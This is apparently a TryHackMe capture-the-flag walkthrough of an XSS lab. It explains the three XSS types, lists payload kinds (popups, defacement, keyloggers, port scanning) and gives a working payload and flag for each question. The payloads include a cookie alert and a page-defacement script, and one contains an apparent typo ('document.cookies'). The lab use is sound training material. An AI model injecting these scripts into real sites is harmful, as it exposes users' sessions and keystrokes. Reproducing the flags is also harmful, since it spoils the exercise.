Day-7

Cross-Site Scripting (XSS)

[Task 21] [Day 7] Cross-site Scripting

XSS Explained

Cross-site scripting, also known as XSS is a security vulnerability typically found in web applications. It’s a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim’s machine.

A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. There are three main types of cross-site scripting:
1. Stored XSS - the most dangerous type of XSS. This is where a malicious string originates from the website’s database. This often happens when a website allows user input that is not sanitised (remove the "bad parts" of a users input) when inserted into the database.

2. Reflected XSS - the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.

3. DOM-Based XSS - DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document and this document can be either displayed in the browser window or as the HTML source.

For more XSS explanations and exercises, check out the XSS room.

XSS Payloads

Remember, cross-site scripting is a vulnerability that can be exploited to execute malicious Javascript on a victim’s machine. Check out some common payloads types used:
• Popup's (<script>alert(“Hello World”)</script>) - Creates a Hello World message popup on a users browser.
• Writing HTML (document.write) - Override the website's HTML to add your own (essentially defacing the entire page).
• XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) - You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.
• Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) - A mini local port scanner (more information on this is covered in the TryHackMe XSS room).
XSS-Payloads.com (http://www.xss-payloads.com/) is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.

XSS Challenge

The VM attached to this task showcases DOM-Based, Reflected and Stored XSS. Deploy the machine and exploit each type!

#1

Deploy the VM

No answer needed

#2

Go to http://MACHINE_IP/reflected and craft a reflected XSS payload that will cause a popup saying "Hello".

```
<script>alert(“Hello”)</script>
```

ThereIsMoreToXSSThanYouThink

#3

On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

```
<script>alert(window.location.hostname)</script>
```

ReflectiveXss4TheWin

#4

Now navigate to http://MACHINE_IP/stored and make an account.

Then add a comment and see if you can insert some of your own HTML.

```
<textarea autofocus onfocus=alert(1)>
```

HTML_T4gs

#5

On the same page, create an alert popup box appear on the page with your document cookies.

```
<script>alert(document.cookies)</script>
```

W3LL_D0N3_LVL2s

#6

Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.

```
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
```

websites_can_be_easily_defaced_with_xss